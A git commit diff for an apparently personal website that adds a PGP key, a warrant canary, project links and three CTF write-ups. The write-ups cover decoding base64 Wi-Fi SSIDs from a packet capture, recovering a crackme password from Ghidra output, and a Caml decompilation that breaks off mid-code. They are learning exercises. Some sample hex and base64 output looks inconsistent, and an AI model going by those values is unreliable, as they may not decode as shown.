V1 with content

This commit is contained in:
2025-12-29 11:01:12 +01:00
parent 766f0e0f29
commit 87151ea91f
21 changed files with 2451 additions and 15 deletions

5
README.md Normal file
View File

@@ -0,0 +1,5 @@
## TODO
- Responsiveness
- Populate with some nice content: About section, ideas, free software propaganda
- A few more "cool looking" features?

68
canary.txt Normal file
View File

@@ -0,0 +1,68 @@
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
github.com/xamidev <xamidev@riseup.net>
I am alive, free, and in control of my PGP key as of 26th of December, 2025.
This note will be renewed in less than 90 days.
Latest Monero block hash:
aa88425694c0a194fb4568c659c99eb21ecdee32376210aadfbb44d1229d55e3
-----BEGIN PGP SIGNATURE-----
iQGzBAEBCgAdFiEErDL26y2hVQrO397oLW3bfhIptHsFAmlOZY8ACgkQLW3bfhIp
tHsC8wv/ee9OnuUokOCPw+NlIGlJd2D27Fh2NNjxObcmiAdxwBjqC+jmh8RW17Hr
+RlJqWtc0o35FNTs8tVYH+MShsB1KiFwbnXL7Pfqo3k0OTafBN25KhAi6rTQWr1C
LwwIqgyVc0SO8cVIyhPD1oIX2HJbQnMsZiJzE3BsFElKCJryohYpv+CgFI6sfMkg
0qv2gsMHXlA92GNv+sjJTUFpYUDen/wdD9+cr+SPThafmS3r+p8YEMettaHsN91d
OZ0V8wHtbWsz3YQmRC1eXLaMtFozr4MuRzE6l3EBtMYAvzGXyVabn/BWnotY8o89
4QVLdN7d16/a4Ry8KkPz7OBaVMjpl+b91g3TXLsejuKEsMW5ya1gw2kpD7sIQYHj
0EgufcMvCyzSyZTsCFY9ttV6OoCqGblhNUBCqoaBdQAfoMnnhdD5HE0JXdCJkXoV
ZRhTjpkugcRrI1zcpj1UyA1c/kaaKKsxxzN0wP2aisBKWGt1FrCj4zlb6rzgEZSg
NDBi7uHC
=uCyy
-----END PGP SIGNATURE-----
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
7r/MO+w1Y//onBy7KHr5k9gtjcQ=
=ZRh2
-----END PGP PUBLIC KEY BLOCK-----

View File

@@ -1,9 +1,10 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html lang="en">
<head> <head>
<meta charset="utf-8"> <meta charset="utf-8">
<link rel="stylesheet" href="style.css"> <link rel="stylesheet" href="style.css">
<title>the libre garbage stash</title>
</head> </head>
<body> <body>
@@ -25,8 +26,11 @@
<h2>Welcome to my garbage stash!</h2> <h2>Welcome to my garbage stash!</h2>
<span class="icon"></span> <span class="icon"></span>
</div> </div>
<img style="margin-top:10px" src="me.png" width="100" height="100"> <div class="profile">
<p>free software advocate; privacy and cybersecurity enthusiast; low-level development enjoyer.</p> <img src="me.png" width="100" height="100">
<p>Hello! I am a free software advocate, privacy and cybersecurity enthusiast, and low-level development enjoyer.<br>
This is the place where I share some things I did around computers.</p>
</div>
</div> </div>
<div class="box" id="cool-stuff"> <div class="box" id="cool-stuff">
@@ -34,14 +38,15 @@
<h2>some of my projects...</h2> <h2>some of my projects...</h2>
<span class="icon">🚧</span> <span class="icon">🚧</span>
</div> </div>
<p> <ul>
Nunc ornare convallis nibh. Aliquam id mi tincidunt, gravida elit vitae, vehicula neque. Nullam at eleifend <li><a href="https://git.furtest.fr/xamidev/blankos" target="_blank">blankOS</a>: ring-zero operating system for 32-bit x86</li>
risus, ac placerat arcu. Morbi faucibus et sem eget ultrices. Mauris scelerisque bibendum arcu, non accumsan <li><a href="https://git.furtest.fr/xamidev/helpelf" target="_blank">helpelf</a>: ELF parser and recon tool for binary exploitation</li>
odio semper nec. Sed convallis suscipit tortor, vitae rhoncus massa dapibus volutpat. Sed arcu massa, <li><a href="https://git.furtest.fr/xamidev/webserver" target="_blank">webserver</a>: an assembly HTTP GET/POST concurrent server for x86_64</li>
tristique nec lorem eu, eleifend pharetra metus. Donec pellentesque augue lacus, fermentum volutpat diam <li><a href="https://git.furtest.fr/xamidev/sandbox" target="_blank">sandbox</a>: 2D sandbox cellular automaton, with gravity, using Raylib</li>
laoreet vitae. Duis at rhoncus neque. Etiam lobortis ac dui sed elementum. Mauris egestas aliquam tellus, <li><a href="https://git.furtest.fr/xamidev/dumb8" target="_blank">dumb8</a>: 8-bit RISC processing unit and assembly language</li>
sed feugiat neque consectetur eu. <li><a href="https://git.furtest.fr/xamidev/igcp" target="_blank">igcp</a>: IGC flight data parser & 3D viewer</li>
</p> <li><a href="https://git.furtest.fr/xamidev/uhex" target="_blank">uhex</a>: minimalist hex editor</li>
</ul>
</div> </div>
<div class="box" id="cool-stuff"> <div class="box" id="cool-stuff">
@@ -49,7 +54,28 @@
<h2>CTF content...</h2> <h2>CTF content...</h2>
<span class="icon">🏴‍☠️</span> <span class="icon">🏴‍☠️</span>
</div> </div>
<p>Blah blah blah I'm a hacker!</p> <div style="text-align: center;">
<h3 style="text-align: center;">- pwn -</h3>
<span>
<a href="writeups/2025-06-05-GorfouEnDanger1.md">Gorfou En Danger 1</a><a href="writeups/2025-08-18-pie-time.md">PIE TIME</a><a href="writeups/2025-08-24-fmt1.md">format-string-1</a><a href="writeups/2025-08-26-bo3.md">buffer-overflow-3</a><a href="writeups/2025-06-02-FakeNews.md">Fake News</a><a href="writeups/2025-06-10-MPC.md">MPC</a><a href="writeups/2025-07-20-Corporate-cliche.md">Corporate cliché</a><a href="writeups/2025-08-11-old-memes.md">old-memes</a><a href="writeups/2025-08-19-pie-time-2.md">PIE TIME 2</a><a href="writeups/2025-08-24-fmt2.md">format-string-2</a><a href="writeups/2025-08-27-fmt3.md">format-string-3</a>
</span>
<h3 style="text-align: center;">- rev -</h3>
<span>
<a href="writeups/2025-05-30-Dromedary.md">Dromedary</a><a href="writeups/2025-07-20-Zeus.md">Zeus</a><a href="writeups/2025-05-27-Cbizarre.md">Cbizarre</a>
</span>
<h3 style="text-align: center;">- forensics -</h3>
<a href="writeups/2024-05-04-NeedleInTheWiFiStack.md">Needle in the Wi-Fi stack</a><a href="writeups/2025-06-12-USB51.md">USB51</a>
</div>
</div>
<div class="box" id="cool-stuff">
<div class="header-with-icon">
<h2>free (as in freedom)...</h2>
<span class="icon">🌎</span>
</div>
<p>All my works are licensed under the GNU GPL v3 unless otherwise specified.</p>
<p>Here are a couple of reasons why you shouldn't trust <a href="https://www.gnu.org/proprietary/" target="_blank">proprietary</a> software.</p>
</div> </div>
</div> </div>
@@ -63,9 +89,11 @@
</div> </div>
<ul> <ul>
<li>ligma</li> <li><a href="pgp.txt" target="_blank">PGP key</a></li>
<li>ballz</li> <li><a href="canary.txt" target="_blank">Canary</a></li>
<li>china</li> <li><a href="mailto:xamidev@riseup.net">Mail</a></li>
<li><a href="https://github.com/xamidev" target="_blank">GitHub</a></li>
<li><a href="https://git.furtest.fr/xamidev" target="_blank">Furtest's Git</a></li>
</ul> </ul>
<div class="header-with-icon"> <div class="header-with-icon">
@@ -84,9 +112,16 @@
<li>Rammstein</li> <li>Rammstein</li>
<li>RHCP</li> <li>RHCP</li>
<li>RATM</li> <li>RATM</li>
<li>Korol i Shut</li>
<li>and many others</li> <li>and many others</li>
</ul> </ul>
<div class="header-with-icon">
<h2>About</h2>
<span class="icon">😄</span>
</div>
<p>I'm a passionate engineering/CS student, with a love for playing music, especially bass.</p>
</div> </div>
</div> </div>
</div> </div>

41
pgp.txt Normal file
View File

@@ -0,0 +1,41 @@
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
7r/MO+w1Y//onBy7KHr5k9gtjcQ=
=ZRh2
-----END PGP PUBLIC KEY BLOCK-----

View File

@@ -49,6 +49,29 @@ p, li {
box-sizing: border-box; box-sizing: border-box;
} }
#cool-stuff a {
font-size:larger;
color:#df2929;
}
#cool-stuff a:hover {
color:#ff5e5e;
}
#cool-stuff li {
margin-top: 5px;
margin-bottom: 5px;
font-size: larger;
}
#sideBar a {
color:grey;
}
#sideBar a:hover {
color:#b4b4b4;
}
#all { #all {
padding:2% 20%; padding:2% 20%;
} }
@@ -113,3 +136,15 @@ p, li {
cursor: pointer; cursor: pointer;
font-size: 1.2em; font-size: 1.2em;
} }
.profile {
display: flex;
align-items: flex-start;
gap: 12px;
margin-top: 10px;
}
.profile p {
margin: 0;
line-height: 1.4;
}

View File

@@ -0,0 +1,99 @@
---
title: "Buckeye CTF 2023: Needle in the Wi-Fi stack"
excerpt: "Someone listened on the network and now our task is to exfiltrate some useful data from there."
tags: [ctf, forensics]
---
Someone listened on the network and now our task is to exfiltrate some useful data from there.
## Recon
We are provided with a `.pcap` file, which is a packet capture file, that we can open using Wireshark. At first glance, it looks like the information we need is hidden on the right: all the SSIDs are encoded. The encoding format seems to be base64, as most of the strings have one or two equal symbols at the end, and use an alphanumeric charset. We could verify this using online encoding checkers, but we can also use the Linux base64 tool as well for that. Assuming we saved one of those strings in a file, we can do:
```bash
$ base64 -d weird_string
wh3n in doub7, hack hard3r
```
Scrolling to the end of the .pcap file, we see that there are over one thousand lines to be analyzed.. We clearly can't proceed manually with this amount of information. Unfortunately, we cannot read the packet capture file as-is and grep what we want, as it looks like gibberish.
We could use the command-line utility `tshark` to read the file from the terminal, but all of the packet information we do not need is still present:
```bash
$ tshark -r frames.pcap
1 0.000000 22:22:22:22:22:22 -> Broadcast 802.11 120 Beacon frame, SN=0, FN=0, Flags=........, BI=100,
SSID="bG9vMDBvMDBvbzBvMG9vb3Q3YSB0cjRmZmJjIHRvZDR5Cg=="
2 0.029637 22:22:22:22:22:22 -> Broadcast 802.11 140 Beacon frame, SN=0, FN=0, Flags=........, BI=100,
SSID="N2hpcypBcyBub3QgdG5LN3dvcm5gbmFtMyB5b3UgYXJlIGwwb2tpbmcbZjByCg=="
3 0.041307 22:22:22:22:22:22 -> Broadcast 802.11 100 Beacon frame, SN=0, FN=0, Flags=........, BI=100,
SSID="d2lmaSBpNSBteSBtVT1aW9uCg=="
4 0.052245 22:22:22:22:22:22 -> Broadcast 802.11 100 Beacon frame, SN=0, FN=0, Flags=........, BI=100,
SSID="d2lmaSBpNSBteSBtVT1aW9uCg=="
```
## Extracting data
By reading the `tshark` help mage and manual page, we can see that there are options for extracting certain packet fields. We only want the SSIDs, so we will use these options:
```bash
$ tshark -r frames.pcap -T fields -e wlan.ssid > ssids.txt
```
That command tells `tshark` to read the `frames.pcap` file, to extract data as fields, and only print the WLAN SSID field. The output will be stored in the ssids.txt file. Running this, we obtain a file containing hexadecimal values. We will have to convert this output to ASCII in order to read it properly.
```bash
$ cat ssids.txt
b7437976644472664472666a74764d43797662353135953423063a52d65a6d6c6a494852765a44523543673d3d
4e3268706379472759532351676476777a9473564e236476636d37626d6479447942356233556759584a6c494777776232747
0626d63675a6a427943673d3d
64326c6d615342704c53427655342775954567a6153797543673d3d
64326c6d615342704c5342765534553161537937543673d3d
19597738736516f3d
```
We can pipe a single line of hex through `xxd` to convert it to ASCII:
```bash
$ echo 626a42304947677a636a4d4b | xxd -r -p
bjB0IGgzcjMK
```
That looks like some of the base64 we found earlier. Let's pipe our command output through the base64 tool:
```bash
$ echo 626a42304947677a636a4d4b | xxd -r -p | base64 -d
n0t h3r3
```
This is what we wanted. Now, let's automate this process for the huge amount of lines we have, by making a small Bash script:
```bash
while read p; do
echo $p | xxd -r -p | base64 -d >> clearssids.txt
done <ssids.txt
```
This will start a while loop, and read the `ssids.txt` file we created earlier. Each line of the file will get converted in base64, then into human-readable text, and then it will be written in a new file called `clearssids.txt`. This file will contain all the SSIDs in cleartext. After executing the script, we get this:
```bash
$ ./extract.sh
$ cat clearssids.txt
wh3n in doubt, hack harder
4ll the c001 kid5 4r3 pl4yin6 wi7h 802.11
beacon fram3s, s0 ho7 ri6h7 n0w
ke3p 534rchin6
wifi is my p4ssi0n
[REDACTED FOR SIMPLICITY]
```
The flag could be hidden in all this mess. We can find the flag by grepping the specific CTF flag format prefix which is `bctf{` here:
```bash
$ cat clearssids.txt | grep bctf{
bctf{tw0_po1nt_4_g33_c0ng3s7ion}
bctf{tw0_po1nt_4_g33_c0ng3s7ion}
bctf{tw0_po1nt_4_g33_c0ng3s7ion}
[REDACTED FOR SIMPLICITY]
```
There we go!

View File

@@ -0,0 +1,153 @@
---
title: "404CTF 2025: Cbizarre"
excerpt: "In this reverse engineering challenge, we will extract a password from a binary file."
tags: [ctf, rev]
---
## Recon
We're provided with a binary file. Checking the usual stuff:
```
$ file chall2
chall2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=683fe4c494b6b7dc5df519f9299a42f6616677ff, for GNU/Linux 3.2.0, not stripped
```
```
$ checksec --file=chall2
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 43 Symbols No 0 2 chall2
```
Some protections are enabled as we can see (NX, PIE). We can proceed to decompile the binary using Ghidra, and after some stripping of the useless/usual lines, and after renaming some labels, we find the interesting part of the code:
```c
if (argc == 2) {
length = strlen((char *)argv[1]);
if (length == 0x14) {
if (*(char *)(argv[1] + 5) != 'Z') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 0xc) != 'o') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)argv[1] != 'f') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 0x12) != '1') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 7) != '%') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 3) != 'M') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 9) != 'y') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 0x10) != 'v') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 0xe) != 'n') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 1) != 'a') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 0x13) != 'x') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 6) != 'a') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 0xf) != 'M') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 8) != '3') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 4) != 'P') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 0xb) != 'K') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 10) != 'N') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 0x11) != '%') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 2) != 'V') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
if (*(char *)(argv[1] + 0xd) != '@') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
local_28 = 0x661a1c040e625152;
local_20 = 0x492f7e4954;
uStack_1b = 0x200233;
uStack_18 = 0x5026906;
local_10 = xor(&local_28,argv[1],0x14);
printf("Bravo ! Vous avez le flag ! %s\n",local_10);
result = 0;
}
else {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
result = 1;
}
}
else {
fprintf(stderr,"Usage: %s <password>\n",*argv);
result = 1;
}
return result;
}
```
As we can see here, we need to provide a password as a command-line argument to the binary. The first information we gather about that password is that its length is 0x14 bytes (which is 20 in decimal).
Then, we see that the program compares some position in memory, with an offset relative to the start of the password string, against a byte: in the below example, the program compares the byte offseted by 5 against 'Z':
```c
if (*(char *)(argv[1] + 5) != 'Z') {
fwrite("Error: Incorrect password.\n",1,0x1b,stderr);
exit(1);
}
```
That code part can simply be resumed with this pseudocode:
```
if (password+5 != 'Z') then exit
```
## Data recovery and exploitation
Looking at all those small conditional statements, it looks like the password can be retrieved by looking at each comparison and assembling all the letters that are compared, in the right order.
After getting through all of the checks manually and writing down the byte at the correct offset, we're left with this string: `faVMPZa%3yNKo@nMv%1x`.
Throwing it as input to the program gives us the flag:
```
$ ./chall2 faVMPZa%3yNKo@nMv%1x
Bravo ! Vous avez le flag ! 404CTF{Cg00d&slmpL3}
```

View File

@@ -0,0 +1,179 @@
---
title: "CTF20K 2025: Dromedary"
excerpt: "Reverse-engineering a Caml executable."
tags: [ctf, rev]
---
## Recon
We have a binary. Its behavior is simple:
```
$ ./dromedary
What's a dromedary that has two bosses instead of only one? Tell me: test
Nope, sorry!
```
We'll try to find the correct answer here. Having no source code to analyze, we have to decompile the program. I used Ghidra for this. The main function looks a bit weird:
```c
int main(int argc,char **argv)
{
caml_main(argv);
/* WARNING: Subroutine does not return */
caml_do_exit(0);
}
```
Indeed, it is not a regular C function; the program was coded in Caml, hence the pun with the challenge name. In order to find the program instructions for the main function, we have to dive in... here is the chain of functions we have to follow in order to get there:
```
caml_main -> caml_startup_common -> caml_start_program -> caml_program -> camlDune__exe__Main__entry
```
Once we find the "real" main function, we can analyze it:
```c
void camlDune__exe__Main__entry(void)
{
value val;
value val_00;
undefined8 uVar1;
long lVar2;
long extraout_RAX;
undefined8 uVar3;
value extraout_RAX_00;
undefined8 extraout_RAX_01;
undefined8 uVar4;
undefined8 extraout_RAX_02;
value s2;
undefined8 *puVar5;
value *fp;
undefined8 uVar6;
value vVar7;
long unaff_R14;
long unaff_R15;
undefined1 auVar8 [16];
lVar2 = DAT_0032b618;
uVar4 = *(undefined8 *)(DAT_002cdc30 + 0x10);
val = *(value *)(DAT_0032b618 + 0xd0);
val_00 = *(value *)(DAT_0032b618 + 200);
uVar6 = *(undefined8 *)(DAT_0032b618 + 0xc0);
uVar1 = *(undefined8 *)(DAT_0032b618 + 0xb8);
vVar7 = val_00;
auVar8 = caml_allocN();
puVar5 = (undefined8 *)(unaff_R15 + -0x20);
*(undefined8 *)(unaff_R15 + -0x28) = 0x1000;
*puVar5 = auVar8._8_8_;
*(undefined8 *)(unaff_R15 + -0x18) = uVar6;
*(value *)(unaff_R15 + -0x10) = vVar7;
*(value *)(unaff_R15 + -8) = val;
uVar6 = *(undefined8 *)(auVar8._0_8_ + 0xb0);
*(undefined8 *)(unaff_R15 + -0x50) = 0x10f7;
*(undefined8 *)(unaff_R15 + -0x48) = camlDune__exe__Main__reset_740;
*(undefined8 *)(unaff_R15 + -0x40) = 0x100000000000005;
*(undefined8 **)(unaff_R15 + -0x38) = puVar5;
*(undefined8 *)(unaff_R15 + -0x30) = uVar6;
fp = (value *)(unaff_R15 + -0x60);
*(undefined8 *)(unaff_R15 + -0x68) = 0x800;
*fp = 1;
*(undefined8 *)(unaff_R15 + -0x58) = 1;
*(undefined8 *)(unaff_R15 + -0x88) = 0xcf7;
*(code **)(unaff_R15 + -0x80) = camlDune__exe__Main__aux_886;
*(undefined8 *)(unaff_R15 + -0x78) = 0x100000000000005;
*(value **)(unaff_R15 + -0x70) = fp;
*(undefined8 *)(unaff_R15 + -0xa0) = 0x800;
*(undefined8 *)(unaff_R15 + -0x98) = &camlSpectrum__const_immstring_133;
*(value *)(unaff_R15 + -0x90) = *fp;
caml_modify(fp,(value)(unaff_R15 + -0x98));
*(long *)(unaff_R15 + -0x58) = *(long *)(unaff_R15 + -0x58) + 2;
camlStdlib__Seq__empty_41();
if (extraout_RAX != 1) {
vVar7 = *fp;
uVar3 = caml_alloc2();
*(undefined8 *)(unaff_R15 + -0xa0) = 0x800;
*(undefined8 *)(unaff_R15 + -0x98) = uVar3;
*(value *)(unaff_R15 + -0x90) = vVar7;
caml_modify(fp,(value)(unaff_R15 + -0x98));
*(long *)(unaff_R15 + -0x58) = *(long *)(unaff_R15 + -0x58) + 2;
camlDune__exe__Main__aux_886();
}
caml_allocN();
*(undefined8 *)(unaff_R15 + -0xe0) = 0x1cf7;
*(undefined8 *)(unaff_R15 + -0xd8) = camlDune__exe__Main__mark_open_stag_761;
*(undefined8 *)(unaff_R15 + -0xd0) = 0x100000000000005;
*(undefined8 *)(unaff_R15 + -200) = uVar4;
*(value **)(unaff_R15 + -0xc0) = fp;
*(undefined8 **)(unaff_R15 + -0xb8) = puVar5;
*(undefined8 *)(unaff_R15 + -0xb0) = uVar6;
*(undefined8 *)(unaff_R15 + -0xa8) = uVar1;
*(undefined8 *)(unaff_R15 + -0x100) = 0xcf7;
*(undefined8 *)(unaff_R15 + -0xf8) = camlDune__exe__Main__mark_close_stag_790;
